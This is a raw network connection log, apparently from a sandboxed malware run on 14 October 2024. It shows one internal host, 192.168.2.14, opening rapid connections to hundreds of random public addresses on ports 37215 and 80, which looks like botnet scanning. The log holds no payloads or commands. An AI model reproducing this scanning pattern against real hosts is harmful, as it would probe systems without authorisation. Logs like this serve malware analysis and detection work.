Oct 14, 2024 17:30:10.897598028 CEST	38030	37215	192.168.2.14	41.244.255.42
Oct 14, 2024 17:30:10.897607088 CEST	33410	37215	192.168.2.14	156.223.254.14
Oct 14, 2024 17:30:10.897608042 CEST	60414	37215	192.168.2.14	41.189.39.190
Oct 14, 2024 17:30:10.897629023 CEST	44614	37215	192.168.2.14	41.117.223.120
Oct 14, 2024 17:30:10.897640944 CEST	42508	37215	192.168.2.14	197.139.34.171
Oct 14, 2024 17:30:10.897650003 CEST	52504	37215	192.168.2.14	156.111.226.168
Oct 14, 2024 17:30:10.897670984 CEST	47976	37215	192.168.2.14	41.104.229.93
Oct 14, 2024 17:30:10.897671938 CEST	60300	37215	192.168.2.14	197.231.83.44
Oct 14, 2024 17:30:10.897695065 CEST	58164	37215	192.168.2.14	41.82.111.90
Oct 14, 2024 17:30:10.897700071 CEST	34778	37215	192.168.2.14	41.194.134.46
Oct 14, 2024 17:30:10.897721052 CEST	44382	37215	192.168.2.14	41.192.52.187
Oct 14, 2024 17:30:10.897730112 CEST	36382	37215	192.168.2.14	41.239.188.6
Oct 14, 2024 17:30:10.897747993 CEST	36394	37215	192.168.2.14	156.218.174.34
Oct 14, 2024 17:30:10.897794008 CEST	58460	37215	192.168.2.14	197.188.235.20
Oct 14, 2024 17:30:10.897833109 CEST	36872	37215	192.168.2.14	41.176.3.68
Oct 14, 2024 17:30:10.898154974 CEST	53274	80	192.168.2.14	82.7.143.82
Oct 14, 2024 17:30:10.898159981 CEST	53274	80	192.168.2.14	70.69.56.232
Oct 14, 2024 17:30:10.898164988 CEST	53274	80	192.168.2.14	220.199.254.20
Oct 14, 2024 17:30:10.898176908 CEST	53274	80	192.168.2.14	74.27.192.142
Oct 14, 2024 17:30:10.898195028 CEST	53274	80	192.168.2.14	138.81.220.168
Oct 14, 2024 17:30:10.898199081 CEST	53274	80	192.168.2.14	178.184.67.65
Oct 14, 2024 17:30:10.898199081 CEST	53274	80	192.168.2.14	174.155.85.109
Oct 14, 2024 17:30:10.898221970 CEST	53274	80	192.168.2.14	109.41.106.42
Oct 14, 2024 17:30:10.898231030 CEST	53274	80	192.168.2.14	102.214.67.178
Oct 14, 2024 17:30:10.898235083 CEST	53274	80	192.168.2.14	109.150.163.163
Oct 14, 2024 17:30:10.898258924 CEST	53274	80	192.168.2.14	170.31.84.236
Oct 14, 2024 17:30:10.898258924 CEST	53274	80	192.168.2.14	199.190.181.26
Oct 14, 2024 17:30:10.898262024 CEST	53274	80	192.168.2.14	97.32.6.98
Oct 14, 2024 17:30:10.898278952 CEST	53274	80	192.168.2.14	37.78.74.246
Oct 14, 2024 17:30:10.898279905 CEST	53274	80	192.168.2.14	88.42.225.1
Oct 14, 2024 17:30:10.898286104 CEST	53274	80	192.168.2.14	175.212.58.175
Oct 14, 2024 17:30:10.898291111 CEST	53274	80	192.168.2.14	23.70.145.41
Oct 14, 2024 17:30:10.898291111 CEST	53274	80	192.168.2.14	108.136.35.173
Oct 14, 2024 17:30:10.898291111 CEST	53274	80	192.168.2.14	119.241.70.131
Oct 14, 2024 17:30:10.898313999 CEST	53274	80	192.168.2.14	197.144.137.137
Oct 14, 2024 17:30:10.898313999 CEST	53274	80	192.168.2.14	191.131.151.57
Oct 14, 2024 17:30:10.898313046 CEST	53274	80	192.168.2.14	93.253.88.93
Oct 14, 2024 17:30:10.898317099 CEST	53274	80	192.168.2.14	113.232.164.200
Oct 14, 2024 17:30:10.898318052 CEST	53274	80	192.168.2.14	169.232.198.153
Oct 14, 2024 17:30:10.898323059 CEST	53274	80	192.168.2.14	170.244.115.9
Oct 14, 2024 17:30:10.898313046 CEST	53274	80	192.168.2.14	36.154.155.205
Oct 14, 2024 17:30:10.898313046 CEST	53274	80	192.168.2.14	85.238.51.231
Oct 14, 2024 17:30:10.898313046 CEST	53274	80	192.168.2.14	62.250.188.145
Oct 14, 2024 17:30:10.898327112 CEST	53274	80	192.168.2.14	124.62.196.201
Oct 14, 2024 17:30:10.898327112 CEST	53274	80	192.168.2.14	144.194.157.32
Oct 14, 2024 17:30:10.898348093 CEST	53274	80	192.168.2.14	125.179.146.88
Oct 14, 2024 17:30:10.898355961 CEST	53274	80	192.168.2.14	67.167.57.120
Oct 14, 2024 17:30:10.898360014 CEST	53274	80	192.168.2.14	65.53.67.118
Oct 14, 2024 17:30:10.898360014 CEST	53274	80	192.168.2.14	114.7.206.1
Oct 14, 2024 17:30:10.898380041 CEST	53274	80	192.168.2.14	108.118.199.219
Oct 14, 2024 17:30:10.898381948 CEST	53274	80	192.168.2.14	46.17.200.52
Oct 14, 2024 17:30:10.898400068 CEST	53274	80	192.168.2.14	80.120.228.128
Oct 14, 2024 17:30:10.898400068 CEST	53274	80	192.168.2.14	134.123.19.112
Oct 14, 2024 17:30:10.898401022 CEST	53274	80	192.168.2.14	129.6.229.92
Oct 14, 2024 17:30:10.898401976 CEST	53274	80	192.168.2.14	1.140.177.123
Oct 14, 2024 17:30:10.898403883 CEST	53274	80	192.168.2.14	189.195.232.105
Oct 14, 2024 17:30:10.898403883 CEST	53274	80	192.168.2.14	169.189.96.60
Oct 14, 2024 17:30:10.898403883 CEST	53274	80	192.168.2.14	172.190.3.87
Oct 14, 2024 17:30:10.898403883 CEST	53274	80	192.168.2.14	174.74.115.239
Oct 14, 2024 17:30:10.898412943 CEST	53274	80	192.168.2.14	166.112.53.135
Oct 14, 2024 17:30:10.898415089 CEST	53274	80	192.168.2.14	177.58.203.192
Oct 14, 2024 17:30:10.898430109 CEST	53274	80	192.168.2.14	153.206.207.177
Oct 14, 2024 17:30:10.898432970 CEST	53274	80	192.168.2.14	209.158.126.181
Oct 14, 2024 17:30:10.898432970 CEST	53274	80	192.168.2.14	109.170.129.127
Oct 14, 2024 17:30:10.898432970 CEST	53274	80	192.168.2.14	59.181.251.117
Oct 14, 2024 17:30:10.898435116 CEST	53274	80	192.168.2.14	142.189.203.209
Oct 14, 2024 17:30:10.898435116 CEST	53274	80	192.168.2.14	41.173.137.122
Oct 14, 2024 17:30:10.898447037 CEST	53274	80	192.168.2.14	133.148.134.129
Oct 14, 2024 17:30:10.898447037 CEST	53274	80	192.168.2.14	34.199.16.168
Oct 14, 2024 17:30:10.898447990 CEST	53274	80	192.168.2.14	208.239.131.125
Oct 14, 2024 17:30:10.898447990 CEST	53274	80	192.168.2.14	199.116.206.235
Oct 14, 2024 17:30:10.898447990 CEST	53274	80	192.168.2.14	18.88.243.45
Oct 14, 2024 17:30:10.898449898 CEST	53274	80	192.168.2.14	154.190.253.146
Oct 14, 2024 17:30:10.898449898 CEST	53274	80	192.168.2.14	163.98.0.182
Oct 14, 2024 17:30:10.898449898 CEST	53274	80	192.168.2.14	195.56.176.196
Oct 14, 2024 17:30:10.898456097 CEST	53274	80	192.168.2.14	62.107.229.199
Oct 14, 2024 17:30:10.898458004 CEST	53274	80	192.168.2.14	133.224.228.68
Oct 14, 2024 17:30:10.898458958 CEST	53274	80	192.168.2.14	131.175.151.195
Oct 14, 2024 17:30:10.898458958 CEST	53274	80	192.168.2.14	52.202.179.85
Oct 14, 2024 17:30:10.898458004 CEST	53274	80	192.168.2.14	194.160.47.33
Oct 14, 2024 17:30:10.898458958 CEST	53274	80	192.168.2.14	37.160.220.84
Oct 14, 2024 17:30:10.898459911 CEST	53274	80	192.168.2.14	39.8.227.44
Oct 14, 2024 17:30:10.898472071 CEST	53274	80	192.168.2.14	157.198.93.212
Oct 14, 2024 17:30:10.898472071 CEST	53274	80	192.168.2.14	42.64.187.151
Oct 14, 2024 17:30:10.898472071 CEST	53274	80	192.168.2.14	50.198.126.118
Oct 14, 2024 17:30:10.898473978 CEST	53274	80	192.168.2.14	100.46.227.53
Oct 14, 2024 17:30:10.898473978 CEST	53274	80	192.168.2.14	45.45.109.243
Oct 14, 2024 17:30:10.898478985 CEST	53274	80	192.168.2.14	150.30.32.115
Oct 14, 2024 17:30:10.898478985 CEST	53274	80	192.168.2.14	184.62.158.221
Oct 14, 2024 17:30:10.898478985 CEST	53274	80	192.168.2.14	170.87.189.32
Oct 14, 2024 17:30:10.898478985 CEST	53274	80	192.168.2.14	202.3.133.49
Oct 14, 2024 17:30:10.898487091 CEST	53274	80	192.168.2.14	112.79.92.208
Oct 14, 2024 17:30:10.898487091 CEST	53274	80	192.168.2.14	185.36.104.197
Oct 14, 2024 17:30:10.898494959 CEST	53274	80	192.168.2.14	66.166.12.118
Oct 14, 2024 17:30:10.898497105 CEST	53274	80	192.168.2.14	217.142.85.137
Oct 14, 2024 17:30:10.898504972 CEST	53274	80	192.168.2.14	66.234.252.130
Oct 14, 2024 17:30:10.898504972 CEST	53274	80	192.168.2.14	62.197.90.141
Oct 14, 2024 17:30:10.898518085 CEST	53274	80	192.168.2.14	153.188.0.229
Oct 14, 2024 17:30:10.898518085 CEST	53274	80	192.168.2.14	98.23.0.171
Oct 14, 2024 17:30:10.898519039 CEST	53274	80	192.168.2.14	185.37.8.124
Oct 14, 2024 17:30:10.898519039 CEST	53274	80	192.168.2.14	211.88.97.90
Oct 14, 2024 17:30:10.898524046 CEST	53274	80	192.168.2.14	130.236.253.156
Oct 14, 2024 17:30:10.898526907 CEST	53274	80	192.168.2.14	150.62.147.194
Oct 14, 2024 17:30:10.898526907 CEST	53274	80	192.168.2.14	53.48.174.202
Oct 14, 2024 17:30:10.898541927 CEST	53274	80	192.168.2.14	179.130.250.227
Oct 14, 2024 17:30:10.898550034 CEST	53274	80	192.168.2.14	67.54.52.217
Oct 14, 2024 17:30:10.898550034 CEST	53274	80	192.168.2.14	71.101.87.98
Oct 14, 2024 17:30:10.898550987 CEST	53274	80	192.168.2.14	24.93.60.155
Oct 14, 2024 17:30:10.898550034 CEST	53274	80	192.168.2.14	218.246.144.195
Oct 14, 2024 17:30:10.898550987 CEST	53274	80	192.168.2.14	216.81.91.166
Oct 14, 2024 17:30:10.898550987 CEST	53274	80	192.168.2.14	135.97.60.92
Oct 14, 2024 17:30:10.898550987 CEST	53274	80	192.168.2.14	139.89.211.183
Oct 14, 2024 17:30:10.898550987 CEST	53274	80	192.168.2.14	143.59.181.179
Oct 14, 2024 17:30:10.898554087 CEST	53274	80	192.168.2.14	44.245.8.121
Oct 14, 2024 17:30:10.898550987 CEST	53274	80	192.168.2.14	32.144.120.87
Oct 14, 2024 17:30:10.898554087 CEST	53274	80	192.168.2.14	170.142.107.76
Oct 14, 2024 17:30:10.898567915 CEST	53274	80	192.168.2.14	91.57.177.105
Oct 14, 2024 17:30:10.898569107 CEST	53274	80	192.168.2.14	149.127.128.238
Oct 14, 2024 17:30:10.898567915 CEST	53274	80	192.168.2.14	158.16.134.205
Oct 14, 2024 17:30:10.898571968 CEST	53274	80	192.168.2.14	59.62.71.3
Oct 14, 2024 17:30:10.898571968 CEST	53274	80	192.168.2.14	101.35.106.49
Oct 14, 2024 17:30:10.898572922 CEST	53274	80	192.168.2.14	184.52.126.2
Oct 14, 2024 17:30:10.898574114 CEST	53274	80	192.168.2.14	101.234.49.195
Oct 14, 2024 17:30:10.898572922 CEST	53274	80	192.168.2.14	162.142.143.164
Oct 14, 2024 17:30:10.898574114 CEST	53274	80	192.168.2.14	164.133.48.232
Oct 14, 2024 17:30:10.898572922 CEST	53274	80	192.168.2.14	5.55.27.252
Oct 14, 2024 17:30:10.898572922 CEST	53274	80	192.168.2.14	157.29.173.3
Oct 14, 2024 17:30:10.898585081 CEST	53274	80	192.168.2.14	13.123.159.241
Oct 14, 2024 17:30:10.898602009 CEST	53274	80	192.168.2.14	82.157.30.254
Oct 14, 2024 17:30:10.898603916 CEST	53274	80	192.168.2.14	47.237.188.221
Oct 14, 2024 17:30:10.898603916 CEST	53274	80	192.168.2.14	171.213.245.212
Oct 14, 2024 17:30:10.898603916 CEST	53274	80	192.168.2.14	123.2.100.150
Oct 14, 2024 17:30:10.898606062 CEST	53274	80	192.168.2.14	187.255.22.176
Oct 14, 2024 17:30:10.898603916 CEST	53274	80	192.168.2.14	17.243.72.71
Oct 14, 2024 17:30:10.898607016 CEST	53274	80	192.168.2.14	36.159.37.12
Oct 14, 2024 17:30:10.898606062 CEST	53274	80	192.168.2.14	168.66.178.192
Oct 14, 2024 17:30:10.898606062 CEST	53274	80	192.168.2.14	188.36.175.180
Oct 14, 2024 17:30:10.898606062 CEST	53274	80	192.168.2.14	181.101.80.54
Oct 14, 2024 17:30:10.898614883 CEST	53274	80	192.168.2.14	168.220.172.254
Oct 14, 2024 17:30:10.898614883 CEST	53274	80	192.168.2.14	44.35.230.176
Oct 14, 2024 17:30:10.898616076 CEST	53274	80	192.168.2.14	76.60.25.128
Oct 14, 2024 17:30:10.898616076 CEST	53274	80	192.168.2.14	73.113.160.137
Oct 14, 2024 17:30:10.898618937 CEST	53274	80	192.168.2.14	142.190.131.74
Oct 14, 2024 17:30:10.898618937 CEST	53274	80	192.168.2.14	91.11.24.203
Oct 14, 2024 17:30:10.898634911 CEST	53274	80	192.168.2.14	45.227.74.220
Oct 14, 2024 17:30:10.898634911 CEST	53274	80	192.168.2.14	78.217.17.173
Oct 14, 2024 17:30:10.898636103 CEST	53274	80	192.168.2.14	43.160.127.111
Oct 14, 2024 17:30:10.898636103 CEST	53274	80	192.168.2.14	51.21.228.111
Oct 14, 2024 17:30:10.898637056 CEST	53274	80	192.168.2.14	106.86.75.136
Oct 14, 2024 17:30:10.898637056 CEST	53274	80	192.168.2.14	131.123.34.16
Oct 14, 2024 17:30:10.898636103 CEST	53274	80	192.168.2.14	174.158.71.251
Oct 14, 2024 17:30:10.898637056 CEST	53274	80	192.168.2.14	211.9.152.185
Oct 14, 2024 17:30:10.898643017 CEST	53274	80	192.168.2.14	183.63.222.76
Oct 14, 2024 17:30:10.898643970 CEST	53274	80	192.168.2.14	146.165.201.142
Oct 14, 2024 17:30:10.898643970 CEST	53274	80	192.168.2.14	160.12.155.88
Oct 14, 2024 17:30:10.898643970 CEST	53274	80	192.168.2.14	136.203.109.211
Oct 14, 2024 17:30:10.898648977 CEST	53274	80	192.168.2.14	222.158.241.136
Oct 14, 2024 17:30:10.898650885 CEST	53274	80	192.168.2.14	45.180.98.70
Oct 14, 2024 17:30:10.898650885 CEST	53274	80	192.168.2.14	174.127.52.167
Oct 14, 2024 17:30:10.898655891 CEST	53274	80	192.168.2.14	218.9.55.164
Oct 14, 2024 17:30:10.898664951 CEST	53274	80	192.168.2.14	138.85.115.185
Oct 14, 2024 17:30:10.898667097 CEST	53274	80	192.168.2.14	61.21.134.236
Oct 14, 2024 17:30:10.898669004 CEST	53274	80	192.168.2.14	72.55.41.92
Oct 14, 2024 17:30:10.898667097 CEST	53274	80	192.168.2.14	207.33.175.67
Oct 14, 2024 17:30:10.898670912 CEST	53274	80	192.168.2.14	169.149.173.202
Oct 14, 2024 17:30:10.898670912 CEST	33554	80	192.168.2.14	186.138.51.223
Oct 14, 2024 17:30:10.898679972 CEST	34536	37215	192.168.2.14	156.86.204.82
Oct 14, 2024 17:30:10.898686886 CEST	55114	37215	192.168.2.14	41.121.241.179
Oct 14, 2024 17:30:10.898695946 CEST	53166	37215	192.168.2.14	41.163.91.94
Oct 14, 2024 17:30:10.898695946 CEST	40792	37215	192.168.2.14	156.255.205.15
Oct 14, 2024 17:30:10.898710012 CEST	53492	37215	192.168.2.14	156.84.64.14
Oct 14, 2024 17:30:10.898711920 CEST	58380	37215	192.168.2.14	156.202.129.171
Oct 14, 2024 17:30:10.898710012 CEST	33822	37215	192.168.2.14	156.9.42.155
Oct 14, 2024 17:30:10.898715973 CEST	50470	37215	192.168.2.14	197.26.64.231
Oct 14, 2024 17:30:10.898720026 CEST	36504	37215	192.168.2.14	156.132.78.11
Oct 14, 2024 17:30:10.898720980 CEST	36258	37215	192.168.2.14	41.11.179.231
Oct 14, 2024 17:30:10.898736000 CEST	52674	37215	192.168.2.14	41.157.12.18
Oct 14, 2024 17:30:10.898740053 CEST	46568	37215	192.168.2.14	156.30.1.246
Oct 14, 2024 17:30:10.898740053 CEST	39688	37215	192.168.2.14	156.106.72.108
Oct 14, 2024 17:30:10.898741007 CEST	40680	37215	192.168.2.14	156.4.248.202
Oct 14, 2024 17:30:10.898747921 CEST	51884	37215	192.168.2.14	197.242.208.137
Oct 14, 2024 17:30:10.898752928 CEST	48840	37215	192.168.2.14	156.51.214.134
Oct 14, 2024 17:30:10.898756027 CEST	34958	37215	192.168.2.14	41.135.17.197
Oct 14, 2024 17:30:10.898767948 CEST	47784	37215	192.168.2.14	41.103.67.243
Oct 14, 2024 17:30:10.898772955 CEST	42466	37215	192.168.2.14	41.237.47.152
Oct 14, 2024 17:30:10.898772955 CEST	42450	37215	192.168.2.14	41.159.66.169
Oct 14, 2024 17:30:10.898780107 CEST	46868	37215	192.168.2.14	156.19.164.3
Oct 14, 2024 17:30:10.898781061 CEST	56236	37215	192.168.2.14	41.223.254.170
Oct 14, 2024 17:30:10.898781061 CEST	32890	37215	192.168.2.14	156.117.192.62
Oct 14, 2024 17:30:10.898781061 CEST	60246	37215	192.168.2.14	41.215.121.196
Oct 14, 2024 17:30:10.898781061 CEST	44086	37215	192.168.2.14	41.204.217.222
Oct 14, 2024 17:30:10.898786068 CEST	46804	37215	192.168.2.14	41.139.197.5
Oct 14, 2024 17:30:10.898802996 CEST	57944	37215	192.168.2.14	197.214.131.199
Oct 14, 2024 17:30:10.898802996 CEST	39256	37215	192.168.2.14	197.164.97.255
Oct 14, 2024 17:30:10.898802996 CEST	45742	37215	192.168.2.14	156.153.101.136
Oct 14, 2024 17:30:10.898802996 CEST	36142	37215	192.168.2.14	156.175.236.242
Oct 14, 2024 17:30:10.898812056 CEST	56320	37215	192.168.2.14	197.211.16.128
Oct 14, 2024 17:30:10.898812056 CEST	49488	37215	192.168.2.14	41.186.147.81
Oct 14, 2024 17:30:10.898816109 CEST	54166	37215	192.168.2.14	197.234.255.3
Oct 14, 2024 17:30:10.898816109 CEST	35382	37215	192.168.2.14	41.97.238.30
Oct 14, 2024 17:30:10.898819923 CEST	56458	37215	192.168.2.14	156.121.120.45
Oct 14, 2024 17:30:10.898821115 CEST	37212	37215	192.168.2.14	156.48.222.4
Oct 14, 2024 17:30:10.898819923 CEST	50980	37215	192.168.2.14	156.7.30.134
Oct 14, 2024 17:30:10.898821115 CEST	46574	37215	192.168.2.14	41.163.10.229
Oct 14, 2024 17:30:10.898821115 CEST	49684	37215	192.168.2.14	41.83.55.142
Oct 14, 2024 17:30:10.898821115 CEST	48210	37215	192.168.2.14	156.169.77.107
Oct 14, 2024 17:30:10.898823023 CEST	44206	37215	192.168.2.14	197.40.153.124
Oct 14, 2024 17:30:10.898821115 CEST	49590	37215	192.168.2.14	156.33.186.173
Oct 14, 2024 17:30:10.898832083 CEST	43156	37215	192.168.2.14	197.132.40.236
Oct 14, 2024 17:30:10.898832083 CEST	56636	37215	192.168.2.14	156.231.40.248
Oct 14, 2024 17:30:10.898832083 CEST	40826	37215	192.168.2.14	41.106.39.144
Oct 14, 2024 17:30:10.898833990 CEST	50784	37215	192.168.2.14	197.162.84.121
Oct 14, 2024 17:30:10.898833990 CEST	45714	37215	192.168.2.14	41.79.10.6
Oct 14, 2024 17:30:10.898835897 CEST	43608	37215	192.168.2.14	197.196.113.15
Oct 14, 2024 17:30:10.898835897 CEST	35198	37215	192.168.2.14	41.186.23.230
Oct 14, 2024 17:30:10.898837090 CEST	57824	37215	192.168.2.14	197.224.116.214
Oct 14, 2024 17:30:10.898837090 CEST	48954	37215	192.168.2.14	41.238.61.71
Oct 14, 2024 17:30:10.898837090 CEST	43362	37215	192.168.2.14	156.108.144.197
Oct 14, 2024 17:30:10.898837090 CEST	57690	37215	192.168.2.14	156.55.128.21
Oct 14, 2024 17:30:10.898842096 CEST	60664	37215	192.168.2.14	41.40.193.137
Oct 14, 2024 17:30:10.898844957 CEST	41496	37215	192.168.2.14	156.175.171.88
Oct 14, 2024 17:30:10.898845911 CEST	44918	37215	192.168.2.14	41.181.174.89
Oct 14, 2024 17:30:10.898845911 CEST	56622	37215	192.168.2.14	197.81.193.4
Oct 14, 2024 17:30:10.898844957 CEST	41612	37215	192.168.2.14	41.82.44.220
Oct 14, 2024 17:30:10.898849964 CEST	53928	37215	192.168.2.14	197.226.121.26
Oct 14, 2024 17:30:10.898859978 CEST	37876	37215	192.168.2.14	156.84.65.21
Oct 14, 2024 17:30:10.898859978 CEST	50900	37215	192.168.2.14	41.73.113.241
Oct 14, 2024 17:30:10.898860931 CEST	34984	37215	192.168.2.14	156.241.80.223
Oct 14, 2024 17:30:10.898869991 CEST	60734	37215	192.168.2.14	41.236.157.95
Oct 14, 2024 17:30:10.898869991 CEST	59740	37215	192.168.2.14	41.189.67.95
Oct 14, 2024 17:30:10.898871899 CEST	44126	37215	192.168.2.14	41.174.80.200
Oct 14, 2024 17:30:10.898871899 CEST	46628	37215	192.168.2.14	156.149.174.56
Oct 14, 2024 17:30:10.898873091 CEST	55782	37215	192.168.2.14	41.253.185.240
Oct 14, 2024 17:30:10.898871899 CEST	46910	37215	192.168.2.14	156.151.106.3
Oct 14, 2024 17:30:10.898871899 CEST	43346	37215	192.168.2.14	197.191.40.105
Oct 14, 2024 17:30:10.898873091 CEST	50464	37215	192.168.2.14	156.201.158.201
Oct 14, 2024 17:30:10.898873091 CEST	37526	37215	192.168.2.14	41.119.242.119
Oct 14, 2024 17:30:10.898873091 CEST	35778	37215	192.168.2.14	197.30.235.2
Oct 14, 2024 17:30:10.898873091 CEST	52978	37215	192.168.2.14	41.233.92.155
Oct 14, 2024 17:30:10.898881912 CEST	37608	37215	192.168.2.14	156.202.124.131
Oct 14, 2024 17:30:10.898873091 CEST	36774	37215	192.168.2.14	156.202.80.210
Oct 14, 2024 17:30:10.898873091 CEST	43412	37215	192.168.2.14	41.64.166.169
Oct 14, 2024 17:30:10.898885012 CEST	35480	37215	192.168.2.14	156.135.175.247
Oct 14, 2024 17:30:10.898885012 CEST	41880	37215	192.168.2.14	197.126.70.145
Oct 14, 2024 17:30:10.898885012 CEST	51726	37215	192.168.2.14	197.103.135.46
Oct 14, 2024 17:30:10.898885012 CEST	44942	37215	192.168.2.14	156.34.134.165
Oct 14, 2024 17:30:10.898885012 CEST	58446	37215	192.168.2.14	156.32.173.245
Oct 14, 2024 17:30:10.898894072 CEST	47410	37215	192.168.2.14	41.213.98.36
Oct 14, 2024 17:30:10.898896933 CEST	42782	37215	192.168.2.14	197.52.195.128
Oct 14, 2024 17:30:10.898896933 CEST	35978	37215	192.168.2.14	197.189.90.118
Oct 14, 2024 17:30:10.898897886 CEST	57208	37215	192.168.2.14	41.70.218.139
Oct 14, 2024 17:30:10.898897886 CEST	55726	37215	192.168.2.14	156.129.200.128
Oct 14, 2024 17:30:10.898897886 CEST	36342	37215	192.168.2.14	197.189.46.236
Oct 14, 2024 17:30:10.898897886 CEST	48358	37215	192.168.2.14	156.117.71.214
Oct 14, 2024 17:30:10.898897886 CEST	51248	37215	192.168.2.14	197.5.25.240
Oct 14, 2024 17:30:10.898897886 CEST	58600	37215	192.168.2.14	156.240.13.10
Oct 14, 2024 17:30:10.898904085 CEST	34568	37215	192.168.2.14	197.190.41.77
Oct 14, 2024 17:30:10.898905993 CEST	49414	37215	192.168.2.14	156.91.224.77
Oct 14, 2024 17:30:10.898906946 CEST	37022	37215	192.168.2.14	41.117.14.132
Oct 14, 2024 17:30:10.898906946 CEST	36868	37215	192.168.2.14	156.122.156.234
Oct 14, 2024 17:30:10.898912907 CEST	42730	37215	192.168.2.14	41.75.55.34
Oct 14, 2024 17:30:10.898919106 CEST	42818	37215	192.168.2.14	156.114.83.128
Oct 14, 2024 17:30:10.898926973 CEST	53014	37215	192.168.2.14	156.90.211.100
Oct 14, 2024 17:30:10.898974895 CEST	53274	80	192.168.2.14	68.36.193.65
Oct 14, 2024 17:30:10.898977041 CEST	53274	80	192.168.2.14	209.158.164.153
Oct 14, 2024 17:30:10.898989916 CEST	53274	80	192.168.2.14	97.31.9.134
Oct 14, 2024 17:30:10.898996115 CEST	53274	80	192.168.2.14	207.183.216.164
Oct 14, 2024 17:30:10.898997068 CEST	53274	80	192.168.2.14	13.148.30.65
Oct 14, 2024 17:30:10.899007082 CEST	53274	80	192.168.2.14	100.28.110.191
Oct 14, 2024 17:30:10.899007082 CEST	53274	80	192.168.2.14	78.14.0.193
Oct 14, 2024 17:30:10.899019003 CEST	53274	80	192.168.2.14	97.68.129.236
Oct 14, 2024 17:30:10.899028063 CEST	53274	80	192.168.2.14	161.235.60.13
Oct 14, 2024 17:30:10.899045944 CEST	53274	80	192.168.2.14	186.178.13.215
Oct 14, 2024 17:30:10.899049997 CEST	53274	80	192.168.2.14	154.224.110.34
Oct 14, 2024 17:30:10.899049997 CEST	53274	80	192.168.2.14	162.128.173.245
Oct 14, 2024 17:30:10.899054050 CEST	53274	80	192.168.2.14	48.84.104.84
Oct 14, 2024 17:30:10.899060011 CEST	53274	80	192.168.2.14	184.229.27.222
Oct 14, 2024 17:30:10.899060011 CEST	53274	80	192.168.2.14	78.126.145.7
Oct 14, 2024 17:30:10.899070978 CEST	53274	80	192.168.2.14	65.177.104.191
Oct 14, 2024 17:30:10.899085999 CEST	53274	80	192.168.2.14	191.235.167.81
Oct 14, 2024 17:30:10.899089098 CEST	53274	80	192.168.2.14	43.66.11.232
Oct 14, 2024 17:30:10.899106026 CEST	53274	80	192.168.2.14	219.55.164.31
Oct 14, 2024 17:30:10.899107933 CEST	53274	80	192.168.2.14	69.46.230.28
Oct 14, 2024 17:30:10.899115086 CEST	53274	80	192.168.2.14	117.123.40.238
Oct 14, 2024 17:30:10.899116993 CEST	53274	80	192.168.2.14	160.122.73.39
Oct 14, 2024 17:30:10.899126053 CEST	53274	80	192.168.2.14	152.164.255.238
Oct 14, 2024 17:30:10.899131060 CEST	53274	80	192.168.2.14	180.34.162.5
Oct 14, 2024 17:30:10.899147034 CEST	53274	80	192.168.2.14	124.135.89.83
Oct 14, 2024 17:30:10.899147034 CEST	53274	80	192.168.2.14	221.163.80.178
Oct 14, 2024 17:30:10.899157047 CEST	53274	80	192.168.2.14	174.77.248.94
Oct 14, 2024 17:30:10.899161100 CEST	53274	80	192.168.2.14	188.228.217.8
Oct 14, 2024 17:30:10.899172068 CEST	53274	80	192.168.2.14	91.236.26.247
Oct 14, 2024 17:30:10.899175882 CEST	53274	80	192.168.2.14	74.87.47.128
Oct 14, 2024 17:30:10.899203062 CEST	53274	80	192.168.2.14	169.139.25.45
Oct 14, 2024 17:30:10.899203062 CEST	53274	80	192.168.2.14	159.221.167.66
Oct 14, 2024 17:30:10.899205923 CEST	53274	80	192.168.2.14	91.57.209.171
Oct 14, 2024 17:30:10.899205923 CEST	53274	80	192.168.2.14	172.66.123.133
Oct 14, 2024 17:30:10.899208069 CEST	53274	80	192.168.2.14	163.66.216.81
Oct 14, 2024 17:30:10.899208069 CEST	53274	80	192.168.2.14	116.9.235.56
Oct 14, 2024 17:30:10.899208069 CEST	53274	80	192.168.2.14	128.199.121.73
Oct 14, 2024 17:30:10.899211884 CEST	53274	80	192.168.2.14	86.60.236.125
Oct 14, 2024 17:30:10.899209023 CEST	53274	80	192.168.2.14	49.174.231.84
Oct 14, 2024 17:30:10.899240017 CEST	53274	80	192.168.2.14	174.86.168.170
Oct 14, 2024 17:30:10.899240017 CEST	53274	80	192.168.2.14	122.188.32.211
Oct 14, 2024 17:30:10.899240017 CEST	53274	80	192.168.2.14	123.22.7.90
Oct 14, 2024 17:30:10.899241924 CEST	53274	80	192.168.2.14	20.68.145.1
Oct 14, 2024 17:30:10.899240017 CEST	53274	80	192.168.2.14	123.229.94.200
Oct 14, 2024 17:30:10.899255991 CEST	53274	80	192.168.2.14	94.42.6.207
Oct 14, 2024 17:30:10.899259090 CEST	53274	80	192.168.2.14	82.64.226.195
Oct 14, 2024 17:30:10.899259090 CEST	53274	80	192.168.2.14	57.198.43.108
Oct 14, 2024 17:30:10.899260998 CEST	53274	80	192.168.2.14	195.34.116.72
Oct 14, 2024 17:30:10.899260998 CEST	53274	80	192.168.2.14	23.41.108.105
Oct 14, 2024 17:30:10.899260998 CEST	53274	80	192.168.2.14	155.44.149.29
Oct 14, 2024 17:30:10.899264097 CEST	53274	80	192.168.2.14	148.117.70.127
Oct 14, 2024 17:30:10.899262905 CEST	53274	80	192.168.2.14	24.29.73.4
Oct 14, 2024 17:30:10.899270058 CEST	53274	80	192.168.2.14	60.232.32.223
Oct 14, 2024 17:30:10.899270058 CEST	53274	80	192.168.2.14	191.42.89.159
Oct 14, 2024 17:30:10.899281979 CEST	53274	80	192.168.2.14	40.55.192.3
Oct 14, 2024 17:30:10.899282932 CEST	53274	80	192.168.2.14	101.95.213.96
Oct 14, 2024 17:30:10.899282932 CEST	53274	80	192.168.2.14	12.27.149.43
Oct 14, 2024 17:30:10.899290085 CEST	53274	80	192.168.2.14	116.210.6.37
Oct 14, 2024 17:30:10.899291039 CEST	53274	80	192.168.2.14	19.212.223.100
Oct 14, 2024 17:30:10.899297953 CEST	53274	80	192.168.2.14	125.228.68.40
Oct 14, 2024 17:30:10.899297953 CEST	53274	80	192.168.2.14	138.97.73.89
Oct 14, 2024 17:30:10.899301052 CEST	53274	80	192.168.2.14	14.121.125.93
Oct 14, 2024 17:30:10.899302006 CEST	53274	80	192.168.2.14	96.49.162.171
Oct 14, 2024 17:30:10.899317026 CEST	53274	80	192.168.2.14	143.190.222.70
Oct 14, 2024 17:30:10.899317980 CEST	53274	80	192.168.2.14	213.126.74.100
Oct 14, 2024 17:30:10.899333000 CEST	53274	80	192.168.2.14	131.245.69.205
Oct 14, 2024 17:30:10.899337053 CEST	53274	80	192.168.2.14	153.1.223.102
